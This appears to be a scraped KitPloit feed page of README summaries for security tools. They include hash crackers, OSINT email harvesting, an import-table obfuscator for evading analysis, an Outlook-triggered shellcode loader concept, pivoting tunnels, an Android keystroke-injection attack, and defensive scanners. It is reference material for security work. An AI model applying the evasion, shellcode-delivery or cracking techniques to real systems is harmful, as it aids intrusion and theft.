Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5816 articles
Browse latest View live

Godehashed - Tool That Uses The Dehashed.Com API To Search For Compromised Assets

$
0
0


A golang tool that uses the dehashed.com API to search for compromised assets. Results can then be compiled into a CSV for further analysis.


Dehashed API

You must supply the tool an api key. See apikey_template.txt for example.


Installation

To install the tool in CLI run the following command. Your $GOPATH must already be set.

go get https://github.com/an00byss/godehashed


Usage

./godehashed -s email -i apikey.txt -e SOMEDOMAIN -o leaks.csv

Godehashed Usage():
-e string
Email we are searching for
-i string
Name of apikey to import.
-n string
Name we are searching for.
-o string
Outfile file name, will output in CSV Format.
-p int
Phone number we are searching for
-s string
Specify what we are searching for: "name", "email", "phone", "username" or "list". Then add corresponding switch.
-u string
Username we are searching for
-l list
Search a list of emails.
Search TermExamples
Emailgodehashed -s email -i apikey.txt -e SOMEDOMAIN.com -o leaks.csv
Listgodehashed -s list -e email -i apikey.txt -l list.txt -o leaks.csv
Usernamegodehashed -s username -i apikey.txt -u USERNAME -o leaks.csv
Namegodehashed -s name -i apikey.txt -n "Name" -o leaks.csv
Phonegodehashed -s phone -i apikey.txt -p "phonenumber" -o leaks.csv

Notice
[!] Legal disclaimer: Usage of godehashed for attacking targets without
prior mutual consent is illegal. It is the end user's responsibility
to obey all applicable local, state and federal laws. Developers assume
no liability and are not responsible for any misuse or damage caused.



CTF-Party - A Ruby Library To Enhance And Speed Up Script/Exploit Writing For CTF Players

$
0
0


A library to enhance and speed up script/exploit writing for CTF players (or security researchers, bug bounty hunters, pentesters but mostly focused on CTF) by patching the String class to add a short syntax of usual code patterns. The philosophy is also to keep the library to be pure ruby (no dependencies) and not to re-implement what another library is already doing well (eg. xorcist for xor).


For example instead of writing:

require 'base64'

myvar = 'string'
myvar = Base64.strict_encode64(myvar)

Just write (shorter and easier to remember):

require 'ctf_party'

myvar = 'string'
myvar.to_b64!

Features
  • base64: to_b64, to_b64!, from_b64, from_b64!, b64?
  • digest: md5, md5!, sha1, sha1!, etc.
  • flag: flag, flag!, flag? (apply/check a flag format)
  • rot: rot, rot!, rot13, rot13!
  • hex: hex2dec, dec2hex, to_hex, from_hex, hex2bin, bin2hex and bang versions

References

Homepage / Documentation: https://noraj.github.io/ctf-party


Author

Made by Alexandre ZANNI (@noraj), pentester from Orange Cyberdefense.



Kraker - Distributed Password Brute-Force System That Focused On Easy Use

$
0
0


Kraker is a distributed password brute-force system that allows you to run and manage the hashcat on different servers and workstations, focused on easy of use. There were two main goals during the design and development: to create the most simple tool for distributed hash cracking and make it fault-tolerant.

Kraker consists of two main components - a server and an agent, which communicate through a REST API. You can read about their installation and configuration below.

Kraker continues to be in development, so the new functionality, documentation, and updates will be released as they become available. If you have suggestions for improvement or want to participate in the development or find bugs - feel free to open issues, pull requests, or contact us: @_w34kp455 and @_asSheShouldBe.


Setup

Here you can find a manual on how to setup your own server, build an agent from the source and run it. You always can download a Release that is already built and run it.


Server

Server is written on Laravel and provides a web interface for creating brute force tasks and also serves for managing agents.


Setup
sudo apt update
curl -fsSL https://get.docker.com -o get-docker.sh
sh get-docker.sh
rm get-docker.sh
sudo curl -L "https://github.com/docker/compose/releases/download/1.25.3/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
sudo systemctl enable docker

sudo docker-compose build app
sudo docker-compose up -d
sudo docker-compose exec app composer install
sudo docker-compose exec app php artisan key:generate
sudo docker-compose exec app php artisan migrate
sudo docker-compose exec app php artisan db:seed --class=HashtypeSeeder
sudo docker-compose exec app php artisan db:seed --class=UserSeeder

Navigate the server IP address and enter the next credentials:

  • Login: admin
  • Password: kraker

Agent

It is written in .NET Core 5 and works on any OS where this framework is available - Linux, Windows, MacOS (not tested yet). The agent is responsible for performing brute-force tasks that it receives from the server.


Setup

For the agent to work on the host, you need to install .NET Core 5, which can be downloaded from the following link:

https://dotnet.microsoft.com/download/dotnet/5.0


Build from source
  1. Install .NET Core 5 SDK. Linux example:
wget https://packages.microsoft.com/config/debian/10/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
sudo apt-get update
sudo apt-get install -y apt-transport-https
sudo apt-get update
sudo apt-get install -y dotnet-sdk-5.0
  1. To compile agent from source code, go to agent folder and run the next command: dotnet build --configuration Release. After that in Kracker.App/bin/Release/net5.0 folder you will get the built project.
  2. You need to download hashcat from the official page at https://hashcat.net/hashcat/, unpack it into the agent's folder.
  3. Modify appsettings.json in Kracker.App/bin/Release/net5.0 and put ServerURL and Hashcat.Path like:
{
"HashCat":{
"Path": "/home/admin/Kraker/agent/Kracker.App/bin/Release/net5.0/hashcat/hashcat.bin", //hashcat path
"SilencePeriodBeforeKill": 5, //default - 60 minutes
"RepeatedStringsBeforeKill": 100, //defaut 1000 strings
"NeedForce": true,
"Options": "--quiet --status --status-timer=1 --machine-readable --logfile-disable --restore-disable --outfile-format=2"
},
"ServerUrl": "http://8.8.8.8/", //server url
"InventoryCheckPeriod": 600,
"HearbeatPeriod": 15
}

  1. Create a folder wordlist and rule and put there your favorite wordlist and rules.
  2. Run Kraker.app.exe or use command dotnet run Kraker.app.dll
  3. You can copy-paste the agent folder from server to server for easy setup. Happy cracking!


Using release

In release you can find:

Running agent from release:

  1. Install .NET Core 5 runtime.
  2. Modify appsettings.json in Kracker.App/bin/Release/net5.0 and put ServerURL and Hashcat.Path.
  3. Put your favorite wordlist and rules in wordlist and rule folders. You can find lots of wordlists on https://weakpass.com.
  4. Run Kraker.app.exe or use command dotnet Kraker.app.dll

Contacts


OSCP-Exam-Report-Template-Markdown - Markdown Templates For Offensive Security OSCP, OSWE, OSCE, OSEE, OSWP Exam Report

$
0
0


I created an Offensive Security Exam Report Template in Markdown so LaTeX, Microsoft Office Word, LibreOffice Writer are no longer needed during your Offensive Security OSCP, OSWE, OSCE, OSEE, OSWP exam!

Now you can be efficient and faster during your exam report redaction!

  • Speed up writing, don't lose time during the 24 hours of exam report redaction
  • No formatting hassle with WYSIWYG editors, byebye unwanted whitespaces and linefeeds from Microsoft Office Word and LibreOffice Writer
  • Re-use your Markdown notes, you'll be so glad not having to reformat the bold and italic from your Markdown notes into the report
  • Version control ready, save your markdown template into a PRIVATE git repository, you know have an incremental backup, version control works with Markdown (.md) as it's text but not with binaries (.doc, .odt)
  • Use your favorite editor or note taking app, with Markdown you'll be able to use your favorite editor (VSCode, Atom, etc.) or note taking app (Vnote, QOwnNotes, Boostnote, etc.) to write your exam report, you won't have to switch to Windows to use MS Word.
  • Clean & professional style, a professional looking report for your professional certification
  • Error free, use the generation script to generate the report and archive, you won't do any submission format and name mistake that way

Examples:

OSCP whoisflynn improved template v3.2




OSCP Official Offensive Security Template v1




Requirements

Examples for common distros:

  • ArchLinux: pacman -S texlive-most pandoc p7zip
  • openSUSE: zypper in texlive-scheme-medium pandoc p7zip-full
  • Ubuntu: apt install texlive-full pandoc p7zip-full

Usage

Write your report in markdown.


Automatic

There is a script that will:

  1. Let you choose the template
  2. Let you choose the syntax highlight style
  3. Generate the PDF
  4. Generate the 7z archive
ruby generate.rb

Manual

Generate the report PDF from the markdown template:

pandoc src/OSCP-exam-report-template_whoisflynn_v3.2.md \
-o output/OSCP-OS-XXXXX-Exam-Report.pdf \
--from markdown+yaml_metadata_block+raw_html \
--template eisvogel \
--table-of-contents \
--toc-depth 6 \
--number-sections \
--top-level-division=chapter \
--highlight-style breezedark

You can change the code syntax highlight theme with --highlight-style.


Color sets

Well rendering color sets you can use in the template YAML frontmatter:

titlepage-colortitlepage-text-colortitlepage-rule-color
DC143C (Crimson)FFFFFF (White)FFFFFF (White)
00FF7F (SpringGreen)006400 DarkGreen000000 (Black)
1E90FF (DodgerBlue)FFFAFA (Snow)FFFAFA (Snow)
483D8B (DarkSlateBlue)FFFAFA (Snow)FFFAFA (Snow)
FFD700 (Gold)000000 (Black)000000 (Black)
FFEFD5 (PapayaWhip)000000 (Black)000000 (Black)
FF8C00 (DarkOrange)000000 (Black)000000 (Black)
FFEF96 (no name)50394C (no name)50394C (no name)

Available templates

Report Templates:


Credits

Report Templates:

Pandoc Template:

Placeholder image:



Gitrecon - OSINT Tool To Get Information From A Github Profile And Find GitHub User'S Email Addresses Leaked On Commits

$
0
0


OSINT tool to get information from a github profile and find GitHub user's email addresses leaked on commits.


How does this work?

GitHub uses the email address associated with a GitHub account to link commits and other activity to a GitHub profile. When a user makes commits to public repos their email address is usually published in the commit and becomes publicly accessible, if you know where to look.

GitHub provide some instructions on how to prevent this from happening, but it seems that most GitHub users either don't know or don't care that their email address may be exposed.

Finding a GitHub user's email address is often as simple as looking at their recent events via the GitHub API.

Idea and text from Nick Drewe.

Source: https://thedatapack.com/tools/find-github-user-email/


Prerequisites

Installation
git clone https://github.com/GONZOsint/gitrecon.git
cd gitrecon/
python3 -m pip install -r requirements.txt

It is possible to use a Github access token by editing line 23 of the gitrecon.py file

token = '<Access token here>'

Usage
usage: gitrecon.py [-h] [-a] [-o] username

positional arguments:
username

optional arguments:
-h, --help show this help message and exit
-a, --avatar download avatar pic
-o, --output save output as json



Features

  • Profile info
    • Username
    • Name
    • User ID
    • Avatar url
    • Email
    • Location
    • Bio
    • Company
    • Blog
    • Gravatar ID
    • Twitter username
    • Followers
    • Following
    • Created at
    • Updated at

  • Extract Orgs

  • Search for leaked emails on commits

Prevention

To avoid this type of leaks, certain configurations can be made on Github:

Settings url: https://github.com/settings/emails

  • ✔️
    Keep my email addresses private
  • ✔️
    Block command line pushes that expose my email


Smogcloud - Find Cloud Assets That No One Wants Exposed

$
0
0


Find exposed AWS cloud assets that you did not know you had. A comprehensive asset inventory is step one to any capable security program. We made smogcloud to enable security engineers, penetration testers, and AWS administrators to monitor the collective changes that create dynamic and ephemeral internet-facing assets on a more frequent basis. May be useful to identify:

  • Internet-facing FQDNs and IPs across one or hundreds of AWS accounts
  • Misconfigurations or vulnerabilities
  • Assets that are no longer in use
  • Services not currently monitored
  • Shadow IT

Getting Started
  1. Install and setup golang

  2. Install smogcloud using the following command

        go get -u github.com/BishopFox/smogcloud
  3. Set up aws environment variable for the account you wish to query. We suggest utilizing a read-only Security Auditor role. The following commands can be used to set environment variables:

    export AWS_ACCOUNT_ID=''            # Describe account
    export AWS_ACCESS_KEY_ID='' # Access key for aws account
    export AWS_SECRET_ACCESS_KEY='' # Secret key for aws account
  4. Run the application

    smogcloud

    or

    go run main.go

Current Services

Supported services for extracting internet exposures:

* API Gateway
* CloudFront
* EC2
* Elastic Kubernetes Service
* Elastic Beanstalk
* Elastic Search
* Elastic Load Balancing
* IoT
* Lightsail
* MediaStore
* Relational Database Service
* Redshift
* Route53
* S3

AWS Patterns

From studying Open API documentation on RESTful AWS endpoints we determined these are the patterns of exposure URIs that you may find in AWS accounts. It is important to understand how to interact with these native services to test them for vulnerabilities and other misconfigurations. Security engineers may want to monitor Cloudtrail logs or build DNS monitoring for requests to these services.

  • s3
    • https://{user_provided}.s3.amazonaws.com
  • cloudfront
    • https://{random_id}.cloudfront.net
  • ec2
    • ec2-{ip-seperated}.compute-1.amazonaws.com
  • es
    • https://{user_provided}-{random_id}.{region}.es.amazonaws.com
  • elb
    • http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80
    • https://{user_provided}-{random_id}.{region}.elb.amazonaws.com:443
  • elbv2
    • https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
  • rds
    • mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
    • postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
  • route53
    • {user_provided}
  • execute-api
    • https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
  • cloudsearch
  • transfer
    • sftp://s-{random_id}.server.transfer.{region}.amazonaws.com
  • iot
    • mqtt://{random_id}.iot.{region}.amazonaws.com:8883
    • https://{random_id}.iot.{region}.amazonaws.com:8443
    • https://{random_id}.iot.{region}.amazonaws.com:443
  • mq
  • kafka
    • b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
    • {user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
  • cloud9
    • https://{random_id}.vfs.cloud9.{region}.amazonaws.com
  • mediastore
    • https://{random_id}.data.mediastore.{region}.amazonaws.com.
  • kinesisvideo
    • https://{random_id}.kinesisvideo.{region}.amazonaws.com
  • mediaconvert
    • https://{random_id}.mediaconvert.{region}.amazonaws.com
  • mediapackage
    • https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
  • elasticbeanstalk
    • https://{random_id}.{user_provided}.elasticbeanstalk.com
  • cognito
    • https://{user_provided}.auth.{region}.amazoncognito.com

References

Authors

Contributions

We do our best to maintain our tools, but can't always keep them as up to date as we'd like. So, we always appreciate code contributions, feature requests, and bug reports.


Acknowledgments

Thank you for inspiration



Retoolkit - Reverse Engineer's Toolkit

$
0
0


This is a collection of tools you may like if you are interested on reverse engineering and/or malware analysis on x86 and x64 Windows systems. After installing this toolkit you'll have a folder in your desktop with shortcuts to RE tools like these:


Why do I need it?

You don't. Obviously, you can download such tools from their own website and install them by yourself in a new VM. But if you download retoolkit, it can probably save you some time. Additionally, the tools come pre-configured so you'll find things like x64dbg with a few plugins, command-line tools working from any directory, etc. You may like it if you're setting up a new analysis VM.


Download

The *.iss files you see here are the source code for our setup program built with Inno Setup. To download the real thing, you have to go to the Releases section and download the setup program.


Included tools

Check the wiki.



Is it safe to install it in my environment?

I don't know. Some included tools are not open source and come from shady places. You should use it exclusively in virtual machines and under your own responsibility.


Can you add tool X?

It depends. The idea is to keep it simple. We won't add a tool just because it's not here yet. But if you think there's a good reason to do so, and the license allows us to redistribuite the software, please file a request here.



cve_manager_VS - A Collection Of Python Apps And Shell Scripts To Email An Xlsx Spreadsheet Of New Vulnerabilities In The NIST CVE Database And Their Associated Products On A Daily Schedule

$
0
0


A collection of python apps and shell scripts to email an xlsx spreadsheet of new vulnerabilities in the NIST CVE database and their associated products on a daily schedule. The spreadsheet can then be manually interpreted for risk to your specific organization.

  • Based off of an opensource product on github originally by Antonios Atlasis
  • Syncs the NIST database for CVEs and CPEs locally and provides basic query capabilities
  • Creates xlsx reports from the data and Emails those reports

File: cve_manager.py
A python script originally authored by Antonios Atlasis - aatlasis@secfu.net
https://github.com/aatlasis/cve_manager

  • create postgresql databases and views
  • downloads the latest NIST CVE, CPE, and CWE raw data files
  • unzips and loads the NIST raw data files into the database
  • automates custom queries, searches and reports of the NIST data
  • creates csv export reports of the data

Changes from original:
Added import of data manipulationlibrary pandas
sudo pip3 install pandas openpyxl
Added database view that joins cve and cpe data
Modified default cpe queries and reports to include cvssv3 vector string instead of cvssv2 score
Modified default cpe queries and reports to sort by published date ASC, CVSS DESC, and CPE ASC
Modified cpe output to csv function to automatically save a copy in xlsx format for every csv saved

File: email_xlsx_attach.py
New python script, authored by Shane Lawrence
sends the xlsx reports as email attachments through a local smtp relay

File: daily.sh
a bash shell script, authored by Shane Lawrence
Puts it all together in something that cron can run daily
Automates the following uses of cve_manager.py:

  • truncates the old database, deletes old datafiles
  • downloads new raw datafiles for CVE data - the vulnerabilities
  • downloads new raw data file for CPE - the vulnerable products
  • downloads new top 1000 CWE - the code problems that cause vulnerabilities
  • jams all of the above into a postgres database
  • runs the searches relevant to you
  • creates csv reports of the relevant searches, formatted and sorted for your preferences
  • reads in the csv reports and outputs to xlsx
  • deletes the csvs
    Automates the usage of email_xlsx_attach.py


New server setup:
Read the original pdf at:
https://github.com/aatlasis/cve_manager/blob/master/CVE%20Manager.pdf

  1. Setup python:
    Requires python 3
    Do yourself a favor and install pip3 also
    pip3 install psycopg2, openpyxl, pandas
    Required includes:
    psycopg2 - data science libs
    pandas - data manipulation libs (dependency on openpyxl)
    sys, argparse, os, zipfile, json, requests, re, io, csv, smtplib, base64, email, datetime

  2. Setup postgres:
    Install the latest postgreql database for your distribution.
    as root, systemctl enable postgresql
    systemctl start postgresql
    then set a password for postgresql user by:
    sudo -u postgres psql
    \l lists databases
    \du lists users
    CREATE USER username WITH PASSWORD 'password';

  3. Use cve_manager to create the database:
    The user must have create privlileges
    ./cve_manager.py -u postgres -ps $PASSWORD -server localhost -db $DB -ow $USER -cd

  4. Use cve_manager.py to create the schema
    The user must have create privileges
    ./cve_manager.py -u postgres -ps $PASSWORD -server localhost -db $DB -ct

  5. Use cve_manager to download the CVE and CPE data
    ./cve_manager.py -u $user -ps $pass -host $host -db $db -d -p -csv

  6. Manually download and unzip the CWE data
    wget https://cwe.mitre.org/data/csv/1000.csv.zip
    unzip 1000.csv.zip

  7. Use cve_manager to import the NIST CVE and CPE data into the database
    ./cve_manager.py -u $user -ps $pass -host $host -db $db -idb -p

  8. Use cve_manager to import the CWE data into the database
    ./cve_manager.py -u $user -ps $pass -host $host -db $db -icwe 1000.csv

  9. Run an example report.
    This example creates a csv and xlsx of the vulnerabilities and products they affect,
    only rated severity 7.0 or greater, created or updated since 01 July 2020
    ./cve_manager.py -u $user -ps $password -host $host -db $db -sc 7.0 -dt 2020-07-01 -cpe cpe -csv -o $reports

  10. Email the xlsx reports
    Modify email_xlsx_attach.py for your smtp relay, sender, recipients, and reports directory.


TODO:
Next iteration is to figure out how to incorperate a list of a critical product inventory,
and only create reports that apply to the CPEs on product inventory.


Shane Lawrence
Sr Advisor, Cloud Platform Security





Obfuscation_Detection - Collection Of Scripts To Pinpoint Obfuscated Code

$
0
0


Automatically detect control-flow flattening and other state machines

Author: Tim Blazytko

Description:

Scripts and binaries to automatically detect control-flow flattening and other state machines in binaries.

Implementation is based on Binary Ninja. Check out the following blog post for more information:

Automated Detection of Control-flow Flattening


Usage
$ ./detect_flattening.py samples/finspy 
Function 0x401602 has a flattening score of 0.9473684210526315.
Function 0x4017c0 has a flattening score of 0.9981378026070763.
Function 0x405150 has a flattening score of 0.9166666666666666.
Function 0x405270 has a flattening score of 0.9166666666666666.
Function 0x405370 has a flattening score of 0.9984544049459042.
Function 0x4097a0 has a flattening score of 0.9992378048780488.
Function 0x412c70 has a flattening score of 0.9629629629629629.
Function 0x412df0 has a flattening score of 0.9629629629629629.
Function 0x412f70 has a flattening score of 0.9927007299270073.
Function 0x4138e0 has a flattening score of 0.9629629629629629.

Note

The password for the zipped malware samples is "infected". To unpack, use the following command line:

$ unzip -P infected samples.zip

Contact

For more information, contact @mr_phrazer.



Search-That-Hash - Searches Hash APIs To Crack Your Hash Quickly, If Hash Is Not Found Automatically Pipes Into HashCat

$
0
0


The Fastest Hash Cracking System

pip3 install search-that-hash && sth


Tired of going to every website to crack your hash? Search-That-Hash automates this process in less than 2 seconds. Search-That-Hash searches the most popular hash cracking sites and automatically inputs your hash(s) for cracking



Features
  • Auto-Type Identification - No need to know the hash type, Search-That-Hash uses Name-That-Hash to get accurate results on the type of the hash.
  • Offline Mode - Not connected to the internet? No worries, Search-That-Hash will automatically run Hashcat for you.
  • Fast - We're all busy people and that's why we've dedicated time to make Search-That-Hash as fast as possible.
  • JSON API - As well as JSON output for CLI we also offer an API.
  • Accessible - We are 100% Accessible.
  • Extensible - Adding sites to Search-That-Hash is as easy as printing "hello world" !
  • Beautiful - The colours were hand-selected to be as gnarly and accessible as possible .
  • Ethical - We search hashes ethically and legally.

Offline Mode



Couldn't find it in any API?

STH automatically pipes your input into Hashcat

Make sure to specify a wordlist if you want STH to use HashCat with -w /path/to/wordlist. If you are on Windows you must specify the path to your HashCat binary with the arg -hashcat_binary /path/to/hashcat/exe as shown above.


Installation

Install Search-That-Hash as fast as you can read this README. No, seriously -- it's that easy

pip3 install search-that-hash

or:

pip install search-that-hash

then:

sth

To run.

Note: We can't guarantee all of the APIs provide perfect privacy due to being closed source. If you need to crack sensitive, personal information please use the offline mode or Hashcat directly.



CallObfuscator - Obfuscate Specific Windows Apis With Different APIs

$
0
0


Obfuscate (hide) the PE imports from static/dynamic analysis tools.


Theory

This's pretty forward, let's say I've used VirtualProtect and I want to obfuscate it with Sleep, the tool will manipulate the IAT so that the thunk that points to VirtualProtect will point instead to Sleep, now at executing the file, windows loader will load Sleep instead of VirtualProtect, and moves the execution to the entry point, from there the execution will be redirected to the shellcode, the tool put before, to find the address of VirtualProtect and use it to replace the address of Sleep which assigned before by the loader.


How to use
  • It can be included directly as a library, see the following snippet (based on the example), also you can take a look at cli.cpp.
#include <cobf.hpp>

int main() {
cobf obf_file = cobf("sample.exe");
obf_file.load_pe();
obf_file.obf_sym("kernel32.dll", "SetLastError", "Beep");
obf_file.obf_sym("kernel32.dll", "GetLastError", "GetACP");
obf_file.generate("sample_obfuscated.exe");
obf_file.unload_pe();
return 0;
};
  • Also can be used as a command line tool by supplying it with the input PE path, the output PE path and optionally the path to the configuration file (default is config.ini).
    cobf.exe <input file> <out file> [config file]
    The config file contains the obfuscations needed (dlls, symbols, ...).
    Here is a template for the config file content
; Template for the config file:
; * Sections can be written as:
; [dll_name]
; old_sym=new_sym
; * The dll name is case insensitive, but
; the old and the new symbols are not.
; * You can use the wildcard on both the
; dll name and the old symbol.
; * You can use '#' at the start of
; the old or the new symbol to flag
; an ordinal.
; * The new symbol should be exported
; by the dll so the windows loader can resolve it.
; For example:
; * Obfuscating all of the symbols
; imported from user32.dll with ordinal 1600.
[user32.dll]
*=#1600
; * Obfuscating symbols imported from both
; kernel32.dll and kernelbase.dll with Sleep.
[kernel*.dll]
*=Sleep
; * Obfuscating fprintf with exit.
[*]
fprintf=exit

Example

Build this code sample

#include <windows.h>
#include <stdio.h>

int main() {
SetLastError(5);
printf("Last error is %d\n", GetLastError());
return 0;
};

After building it, this is how the kernel32 imports look like



Now let's obfuscate both SetLastError and GetLastError with Beep and GetACP (actually any api from kernel32 will be ok even if it's not imported at all).
The used configurations are

[kernel32.dll]
SetLastError=Beep
GetLastError=GetACP

Here is the output (also you can use the library directly as shown above).



Again let's have a look on the kernel32 imports



There's no existence of SetLastError or GetLastError
A confirmation that two files will work properly



Impact

IDA HexRays Decompiler



IDA Debugger


 

Ghidra


 

ApiMonitor



That's because all of the static analysis tool depend on what is the api name written at IAT which can be manipulated as shown.
For ApiMonitor, because of using IAT hooking, the same problem exists.

On the other side, for tools like x64dbg the shown api names will only depend on what is actually called (not what written at the IAT).



Additional
  • Dumping the obfuscated PE out from memory won't deobfuscate it, because the manipulated IAT will be the same.
  • The main purpose for this tool is to mess up with the analysis process (make it slower).
  • One can obfuscate any imported symbol (by name or by ordinal) with another symbol (name or ordinal).
  • The shellcode is executed as the first tls callback to process the obfuscated symbols needed by the other tls callbacks before the entry point is executed.
  • The shellcode is shipped as c code, generated when the tool is compiled to facilitate editing it.
  • The obfuscated symbols names are being resolved by hash not by name directly.
  • The tool disables the relocations and strips any of the debug symbols.
  • The tool creates a new rwx section named .cobf for holding the shellcode and the other needed datas.
  • It can be used multiple times on the same obfuscated PE.
  • Tested only on Windows 10 x64.
  • Get source with git clone https://github.com/d35ha/CallObfuscator.
  • Download binaries from the Release Section.

TODO
  • Shellcode obfuscation (probably with obfusion).
  • Support the delay-loaded symbols.
  • Minimize the created section size.
  • Compile time hashing.
  • Better testing.


BadOutlook - (Kinda) Malicious Outlook Reader

$
0
0


A simple PoC which leverages the Outlook Application Interface (COM Interface) to execute shellcode on a system based on a specific trigger subject line.

By utilizing the Microsoft.Office.Interop.Outlook namespace, developers can represent the entire Outlook Application (or at least according to Microsoft). This means that the new application should be able to do anything from reading emails (yes this also includes archives, trash, etc.) to sending them out.

Building on the millions of pre-existing C# shellcode loaders, an email with a trigger subject line and base64 encoded shellcode in the body can be sent to the host with a weaponized instance of this program. The program will then read the email and execute the shellcode embedded in the email.


Additional Notes:
  • This can be used to build an Entire C2 Framework that relies on E-Mails as a mean of communication (Where the Implant never speaks to the internet directly)
  • There does appear to be a security warning which informs the user of an application attempting to access Outlook data
    • This can be turned off with when an administrator modifies the registryas shown here.
    • Minor testing showed that Injecting this process into an Outlook client does not cause the alert to appear (Additional testing would be much appriciated <3)

PoC

Applicaiton Polling Outlook for Trigger



Trigger Email With Shellcode Creation



Email Recived By Outlook Client



Shellcode Execution by BadOutlook Application




Boomerang - A Tool To Expose Multiple Internal Servers To Web/Cloud

$
0
0


Boomerang is a tool to expose multiple internal servers to web/cloud using HTTP+TCP Tunneling. The Server will expose 2 ports on the Cloud. One will be where tools like proxychains can connect over socks, another will be for the agent to connect. The agent can be executed on any internal host. The agent will connect to the server and listen for any connection that can be forwarded to internal machine like a socks server. A more detailed information can be found in the image below. Features like authentication are in pipeline and will be added soon.

Agent & Server are pretty stable and can be used in Red Team for Multiple levels of Pivoting and exposing services to external/other networks
Boomerang Agent & Server support Windows, Linux and Arm architecture
Features in Progress: Proxy Authentication (Use IP Whitelisting for C2s till then)

KICS - Find Security Vulnerabilities, Compliance Issues, And Infrastructure Misconfigurations Early In The Development Cycle Of Your Infrastructure-As-Code

$
0
0


Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with KICS by Checkmarx.

KICS stands for Keeping Infrastructure as Code Secure, it is open source and is a must-have for any cloud native project.


Support of other solutions and additional cloud providers are on the roadmap.


Getting Started

Setting up and using KICS is super-easy.

Interested in more advanced stuff?

  • Deep dive into KICS queries.
  • Understand how to integrate KICS in your favourit CI/CD pipelines.

How it Works

What makes KICS really powerful and popular is its built-in extensibility. This extensibility is achieved by:

  • Fully customizable and adjustable heuristics rules, called queries. These can be easily edited, extended and added.
  • Robust but yet simple architecture, which allows quick addition of support for new Infrastructure as Code solutions.

Release process

KICS release process is quite simple. We have nightly builds that will pack and pre-release all changes merged into master. The nightly release will have a "nightly" prefix with the last commit hash code. We have binaries available for both Windows and Linux, as well a Docker image in DockerHub


Contribution

KICS is a true community project. It's built as an open source from day one, and anyone can find his own way to contribute to the project. Check out how, within just minutes, you can start making a difference, by sharing your expertise with a community of thousands of security experts and software developers.


More

KICS public documentation has all the project aspects covered. Join the chat on Gitter. Or contact KICS core team at kics@checkmarx.com

Keeping Infrastructure as Code Secure!



Android_Hid - Use Android As Rubber Ducky Against Another Android Device

$
0
0


Use Android as Rubber Ducky against another Android device


HID attack using Android

Using Android as Rubber Ducky against Android. This is not a new technique, just a demo how to perform HID attack using Android instead of rubber ducky. For targeted Android device it is not necessary to be rooted, have ADB/USB debugging enabled and device authorized, since attacker's smartphone behaves as connected keyboard.


How to prevent this happening
  1. charge you smartphone using your own adapter
  2. use none trivial PIN or password lockscreen protection
  3. use mobile security software that will detect and prevent from launching payloads

PoC


Prerequisites
  • rooted Android with HID kernel support (e.g. NetHunter ROM)
  • OTG cable

Script info

This is custom script, which might not work on your testing case scenario. Because of that, you must play around with pressed keys that are sent to targeted device. Website with my testing payload is not active anymore. List of all possible keys can be found on the link below.


Execute command

bash hid_attack


How to flash custom ROM with HID support

https://github.com/pelya/android-keyboard-gadget


Brute-force pin using Android as HID

https://github.com/urbanadventurer/Android-PIN-Bruteforce


List of all keys

https://github.com/anbud/DroidDucky/blob/master/droidducky.sh




ClearURLs - An Add-On Based On The New WebExtensions Technology And Will Automatically Remove Tracking Elements From URLs To Help Protect Your Privacy

$
0
0


ClearURLs is an add-on based on the new WebExtensions technology and is optimized for Firefox and Chrome based browsers.

This extension will automatically remove tracking elements from URLs to help protect your privacy when browse through the Internet, which is regularly updated by us and can be found here.


Application

Many websites use tracking elements in the URL (e.g. https://example.com?utm_source=newsletter1&utm_medium=email&utm_campaign=sale) to mark your online activity. All that tracking code is not necessary for a website to be displayed or work correctly and can therefore be removed—that is exactly what ClearURLs does.

Another common example are Amazon URLs. If you search for a product on Amazon you will see a very long URL, such as:

https://www.amazon.com/dp/exampleProduct/ref=sxin_0_pb?__mk_de_DE=ÅMÅŽÕÑ&keywords=tea&pd_rd_i=exampleProduct&pd_rd_r=8d39e4cd-1e4f-43db-b6e7-72e969a84aa5&pd_rd_w=1pcKM&pd_rd_wg=hYrNl&pf_rd_p=50bbfd25-5ef7-41a2-68d6-74d854b30e30&pf_rd_r=0GMWD0YYKA7XFGX55ADP&qid=1517757263&rnid=2914120011

Indeed most of the above URL is tracking code. Once ClearURLs has cleaned the address, it will look like this: https://www.amazon.com/dp/exampleProduct


Features
  • Removes tracking from URLs automatically in the background
  • Blocks some common ad domains (optional)
  • Has a built-in tool to clean up multiple URLs at once
  • Supports redirection to the destination, without tracking services as middleman
  • Adds an entry to the context menu so that links can be copied quickly and cleanly
  • Blocks hyperlink auditing, also known as ping tracking (see also this article)
  • Prevents ETag tracking
  • Prevents tracking injection over history API (see also: The replaceState() method)
  • Prevents Google from rewriting the search results (to include tracking elements)
  • Prevents Yandex from rewriting the search results (to include tracking elements)

Permissons

Reasoning for needed permissions can be found under here.


Test

If you want to test whether ClearURLs works correctly on your system, you can go to this test page: https://test.clearurls.xyz/


Contribute

If you have any suggestions or complaints, please create an issue.

Note: If you have any suggestions or complaints regarding the rules, please create an issue in this repo or email us rules.support (at) clearurls.xyz (this mail will automatically create a new issue in this repo).


Translate ClearURLs

You want to help translating ClearURLs into many languages? – Nice

You can choose between two options to contribute. You can create a merge request, or you can use the POEditor to translate ClearURLs.

Hint: The description field in the translation files are only an information for what the translation is used. It is not necessary to translate the description field; in the most cases it is empty.


Merge request

If you want to create a merge request, you must open the path _locales/en/messages.json in the ClearURLs repo and translate the english terms into terms of your language. Once you have translated all the terms, you make a pull request of your translation. Please push your translation into the folder _locales/{language code}/messages.json.


Projects that use parts of ClearURLs
  • Uroute used ClearURLs to filter/clean URL before launching browser
  • Scrub used ClearURLs to filter/clean URLs as cog for the Red Discord bot
  • Unalix a simple Python module that removes tracking fields from URLs and unshort shortened URLs
  • Unalix-nim a simple Nim library that removes tracking fields from URLs and unshort shortened URLs

Recommended by...

Permissions

